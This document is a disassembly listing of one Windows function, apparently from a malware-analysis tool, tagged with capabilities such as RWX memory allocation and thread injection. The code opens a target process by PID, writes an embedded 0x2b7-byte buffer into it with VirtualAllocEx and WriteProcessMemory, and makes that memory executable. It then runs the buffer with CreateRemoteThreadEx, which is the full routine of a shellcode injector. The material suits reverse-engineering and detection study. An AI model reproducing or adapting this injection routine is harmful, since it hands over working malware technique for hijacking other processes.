Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x328
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x310], rax
lea r8, [rsp + 0x50]
mov eax, 5
lea r9, [0x140003530]
nop word [rax + rax]
lea r8, [r8 + 0x80]
movups xmm0, xmmword [r9]
movups xmm1, xmmword [r9 + 0x10]
lea r9, [r9 + 0x80]
movups xmmword [r8 - 0x80], xmm0
movups xmm0, xmmword [r9 - 0x60]
movups xmmword [r8 - 0x70], xmm1
movups xmm1, xmmword [r9 - 0x50]
movups xmmword [r8 - 0x60], xmm0
movups xmm0, xmmword [r9 - 0x40]
movups xmmword [r8 - 0x50], xmm1
movups xmm1, xmmword [r9 - 0x30]
movups xmmword [r8 - 0x40], xmm0
movups xmm0, xmmword [r9 - 0x20]
movups xmmword [r8 - 0x30], xmm1
movups xmm1, xmmword [r9 - 0x10]
movups xmmword [r8 - 0x20], xmm0
movups xmmword [r8 - 0x10], xmm1
sub rax, 1
jne 0x1400010a0
mov eax, dword [r9 + 0x30]
movups xmm0, xmmword [r9]
movups xmm1, xmmword [r9 + 0x10]
movups xmmword [r8], xmm0
movups xmm0, xmmword [r9 + 0x20]
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8 + 0x20], xmm0
mov dword [r8 + 0x30], eax
movzx eax, word [r9 + 0x34]
mov word [r8 + 0x34], ax
movzx eax, byte [r9 + 0x36]
mov byte [r8 + 0x36], al
cmp ecx, 2
jge 0x14000116b
mov rdx, qword [rdx]
lea rcx, str.____Usage:__s__PID_
call fcn.140001010
mov eax, 1
mov rcx, qword [rsp + 0x310]
xor rcx, rsp
call fcn.1400013d0
add rsp, 0x328
ret
mov rcx, qword [rdx + 8]
mov qword [rsp + 0x330], rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov edx, 1
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x1400011f6
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x1400011b7
lea rcx, str.____Access_Denied_n
call fcn.140001010
lea eax, [rbx + 1]
jmp 0x14000139b
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1400011d8
lea rcx, str.____PID_Does_not_Exist_n
call fcn.140001010
mov eax, 1
jmp 0x14000139b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_GetHandle:_0x_p_n
call fcn.140001010
mov eax, 1
jmp 0x14000139b
mov qword [rsp + 0x340], rsi
lea rcx, str.___Got_Handle_to_the_Process:_0x_p_n
mov rdx, rbx
mov qword [rsp + 0x320], rdi
call fcn.140001010
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x2b7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x140001280
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x140001255
lea rcx, str.____Failed_to_write_memory__Access_Denied_n
call fcn.140001010
jmp 0x140001269
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_allocate_memory:_0x_p_n
call fcn.140001010
lea rcx, str.___Closing_Handle_to_Process_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000128f
mov rdx, rdi
lea rcx, str.___Alocated_memory__base_address:_0x_p_n
call fcn.140001010
xor esi, esi
lea r8, [rsp + 0x50]
mov r9d, 0x2b7
mov qword [rsp + 0x20], rsi
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400012bf
lea rcx, str.___Successfully_wrote_data_into_target_process_n
call fcn.140001010
jmp 0x1400012d3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_write_data_into_target_process_memory:_0x_p_n
call fcn.140001010
lea rax, [rsp + 0x40]
mov dword [rsp + 0x40], esi
mov r9d, 0x40
mov qword [rsp + 0x20], rax
mov r8d, 0x2b7
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x140001312
mov rdx, qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Failed_to_change_memory_permissions:_0x_p_n
call fcn.140001010
jmp 0x14000131e
lea rcx, str.___Changed_memory_permisions_to_RWX_:__n
call fcn.140001010
mov qword [rsp + 0x38], rsi
mov r9, rdi
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], esi
xor edx, edx
mov rcx, rbx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov rdi, qword [rsp + 0x320]
mov rbx, rax
mov rsi, qword [rsp + 0x340]
test rax, rax
jne 0x140001370
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Could_not_create_Thread_in_process:_0x_p_n
call fcn.140001010
jmp 0x14000137f
mov rdx, rbx
lea rcx, str.___Created_Thread_in_process__handle:_0x_p_n
call fcn.140001010
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, str.___Thread_finished_execution_n
call fcn.140001010
xor eax, eax
mov rbx, qword [rsp + 0x330]
mov rcx, qword [rsp + 0x310]
xor rcx, rsp
call fcn.1400013d0
add rsp, 0x328
ret